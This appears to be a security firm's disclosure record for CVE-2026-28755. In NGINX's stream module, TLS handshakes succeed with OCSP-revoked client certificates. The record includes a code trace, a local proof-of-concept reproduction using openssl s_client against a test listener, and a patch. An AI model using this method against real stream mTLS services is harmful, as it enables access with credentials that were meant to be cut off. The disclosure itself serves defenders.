Skip to content
winfunc
Disclosure record · NGINX

stream accepts revoked client certificates despite ssl_ocsp on (CVE-2026-28755)

NGINX stream module allows TLS handshake to succeed with revoked client certificates when ssl_ocsp on is configured

NGINXCVE-2026-28755DisclosedSource record

CVSS 3.1 base score

Medium
5.4/ 10

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Record

Project
NGINX
Severity
Medium5.4
CVE
CVE-2026-28755
Disclosed
Trace
4 steps

Summary

Source

ngx_stream_ssl_merge_srv_conf (OCSP config hookup)

src/stream/ngx_stream_ssl_module.c:1123

Sink

ngx_stream_ssl_handler() (missing ngx_ssl_ocsp_get_status call)

src/stream/ngx_stream_ssl_module.c:461

When a stream listener is configured with both ssl_verify_client on and ssl_ocsp on, nginx performs the OCSP request and learns that the presented client certificate is revoked, but it still completes the TLS handshake and allows the session to reach application data.

The root cause is a logic gap specific to stream: the OCSP helper records revocation state, but the stream verification path in ngx_stream_ssl_handler() checks only SSL_get_verify_result() and whether a certificate is present. It never calls ngx_ssl_ocsp_get_status(). The HTTP path does enforce the OCSP result — ngx_http_request.c explicitly calls ngx_ssl_ocsp_get_status() and rejects the request when the result is not good. The result is that OCSP executes, revocation is detected, but revocation is ignored in stream.

Severity

Attack vectorAV
Network
Attack complexityAC
Low
Privileges requiredPR
Low
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
Low
IntegrityI
Low
AvailabilityA
None

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledsrc/stream/ngx_stream_ssl_module.c:1123

    ngx_stream_ssl_merge_srv_conf (OCSP config hookup)

  2. Step 01src/stream/ngx_stream_ssl_module.c:1123-1133

    The stream configuration path enables OCSP checks through ngx_ssl_ocsp() when ssl_ocsp on is set.

    cpp
    if (conf->ocsp) {
    
        if (conf->verify == 3) {
            ngx_log_error(NGX_LOG_EMERG, cf->log, 0,
                          "\"ssl_ocsp\" is incompatible with "
                          "\"ssl_verify_client optional_no_ca\"");
            return NGX_CONF_ERROR;
        }
    
        if (ngx_ssl_ocsp(cf, &conf->ssl, &conf->ocsp_responder, conf->ocsp,
                         conf->ocsp_cache_zone)
            != NGX_OK)
        {
            return NGX_CONF_ERROR;
        }
    }
    
  3. Step 02src/event/ngx_event_openssl_stapling.c:883-1001

    ngx_ssl_ocsp_validate() performs the OCSP transaction and asynchronous state machine. It correctly receives and parses the revoked OCSP response.

    cpp
    /* OCSP validation machinery - performs the OCSP request
     * and records revocation state */
    
  4. Step 03src/stream/ngx_stream_ssl_module.c:461-489

    The stream verification path checks only SSL_get_verify_result() and certificate presence. It never calls ngx_ssl_ocsp_get_status(), so revocation state is ignored.

    cpp
    if (sscf->verify) {
        rc = SSL_get_verify_result(c->ssl->connection);
    
        if (rc != X509_V_OK
            && (sscf->verify != 3 || !ngx_ssl_verify_error_optional(rc)))
        {
            /* ... reject invalid cert ... */
            return NGX_ERROR;
        }
    
        if (sscf->verify == 1) {
            cert = SSL_get_peer_certificate(c->ssl->connection);
    
            if (cert == NULL) {
                /* ... reject missing cert ... */
                return NGX_ERROR;
            }
    
            X509_free(cert);
        }
        /* NO ngx_ssl_ocsp_get_status() call here */
    }
    
    return NGX_OK;
    
  5. Step 04src/http/ngx_http_request.c:2142-2150

    For comparison, the HTTP path does enforce the OCSP result by calling ngx_ssl_ocsp_get_status() and rejecting the request when the result is not good.

    cpp
    if (ngx_ssl_ocsp_get_status(c, &s) != NGX_OK) {
        ngx_log_error(NGX_LOG_INFO, c->log, 0,
                      "client SSL certificate verify error: %s", s);
    
        ngx_ssl_remove_cached_session(c->ssl->session_ctx,
                                   (SSL_get0_session(c->ssl->connection)));
    
        ngx_http_finalize_request(r, NGX_HTTPS_CERT_ERROR);
        return;
    }
    
  6. Sinksrc/stream/ngx_stream_ssl_module.c:461

    ngx_stream_ssl_handler() (missing ngx_ssl_ocsp_get_status call)

Impact

Reported impact

This breaks revocation enforcement for stream mTLS services. A revoked client certificate remains usable until the certificate itself expires or the private key becomes unavailable to the attacker. Any internal TCP service fronted by NGINX stream and protected with client certificates can remain reachable after revocation. Deployments that rely on OCSP revocation checks to disable compromised or deprovisioned client certificates are effectively unprotected.

Attack surface

Any NGINX deployment using the stream module with TLS client authentication (ssl_verify_client on) and OCSP revocation checking (ssl_ocsp on).

Preconditions

The target uses the stream module with TLS client authentication enabled and ssl_ocsp on configured. The attacker still has the private key for a revoked client certificate. NGINX can reach an OCSP responder, either via ssl_ocsp_responder or certificate AIA.

Attack path

  1. 1

    Obtain a client certificate that has been revoked by the CA.

  2. 2

    Connect to the NGINX stream listener using the revoked certificate and its private key.

  3. 3

    NGINX performs the OCSP check and determines the certificate is revoked.

  4. 4

    Despite the revoked status, NGINX completes the TLS handshake and allows access to the upstream service.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    From the nginx source root, build nginx with stream and SSL support:

    bash
    ./auto/configure --with-debug --with-stream \
      --with-stream_ssl_module --with-http_ssl_module \
      --without-http_rewrite_module --without-http_gzip_module
    make -j4
    
  2. 02

    Target configuration

    The PoC creates a self-contained CA, server cert, client cert, OCSP responder cert, then revokes the client cert and starts an OCSP responder and nginx with this config:

    nginx
    worker_processes  1;
    error_log $WORKDIR/logs/error.log debug;
    
    events {
        worker_connections  64;
    }
    
    stream {
        server {
            listen 127.0.0.1:18443 ssl;
    
            ssl_certificate $WORKDIR/server.crt;
            ssl_certificate_key $WORKDIR/server.key;
    
            ssl_client_certificate $WORKDIR/ca/ca.crt;
            ssl_verify_client on;
            ssl_verify_depth 2;
    
            ssl_ocsp on;
            ssl_ocsp_responder http://127.0.0.1:19080/;
    
            return "stream-ok\n";
        }
    }
    
  3. 03

    Exploit delivery

    After the CA and OCSP responder are set up and the client cert is revoked:

    1. Verify OCSP reports the certificate as revoked:
    bash
    openssl ocsp \
      -issuer "$WORKDIR/ca/ca.crt" \
      -cert "$WORKDIR/client.crt" \
      -url http://127.0.0.1:19080/ \
      -CAfile "$WORKDIR/ca/ca.crt"
    
    1. Connect with the revoked certificate:
    bash
    openssl s_client \
      -connect 127.0.0.1:18443 \
      -cert "$WORKDIR/client.crt" \
      -key "$WORKDIR/client.key" \
      -CAfile "$WORKDIR/ca/ca.crt" \
      -quiet < /dev/null
    
    1. Check nginx debug log:
    bash
    grep -E 'ssl ocsp response|stream return text' \
      "$WORKDIR/logs/error.log"
    
  4. 04

    Expected response

    The OCSP query reports the client certificate as revoked. openssl s_client still completes the handshake and prints stream-ok. The nginx debug log contains both:

    text
    ssl ocsp response, revoked, ...
    stream return text: "stream-ok"
    

    This proves nginx both recognized the revocation and still accepted the certificate in stream.

  5. 05

    Outcome

    A revoked client certificate is accepted by the stream listener despite OCSP confirming revocation. The TLS handshake completes and application data (stream-ok) is returned to the attacker.

Remediation

Guidance

Mirror the HTTP behavior in stream. After the existing certificate-presence and SSL_get_verify_result() checks in ngx_stream_ssl_handler(), call ngx_ssl_ocsp_get_status() and reject the session if it does not return NGX_OK. This is the same enforcement that already exists in the HTTP path at ngx_http_request.c.

Before and after−18+27
        if (sscf->verify == 1) {            cert = SSL_get_peer_certificate(c->ssl->connection);             if (cert == NULL) {                ngx_log_error(NGX_LOG_INFO, c->log, 0,                              "client sent no required SSL certificate");                 ngx_ssl_remove_cached_session(c->ssl->session_ctx,                                       (SSL_get0_session(c->ssl->connection)));                return NGX_ERROR;            }             X509_free(cert);        }    }     return NGX_OK;}        if (sscf->verify == 1) {            cert = SSL_get_peer_certificate(c->ssl->connection);             if (cert == NULL) {                ngx_log_error(NGX_LOG_INFO, c->log, 0,                              "client sent no required SSL certificate");                 ngx_ssl_remove_cached_session(c->ssl->session_ctx,                                       (SSL_get0_session(c->ssl->connection)));                return NGX_ERROR;            }             X509_free(cert);        }         if (ngx_ssl_ocsp_get_status(c, &str) != NGX_OK) {            ngx_log_error(NGX_LOG_INFO, c->log, 0,                          "client SSL certificate verify error: %s", str);             ngx_ssl_remove_cached_session(c->ssl->session_ctx,                                       (SSL_get0_session(c->ssl->connection)));            return NGX_ERROR;        }    }     return NGX_OK;}
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.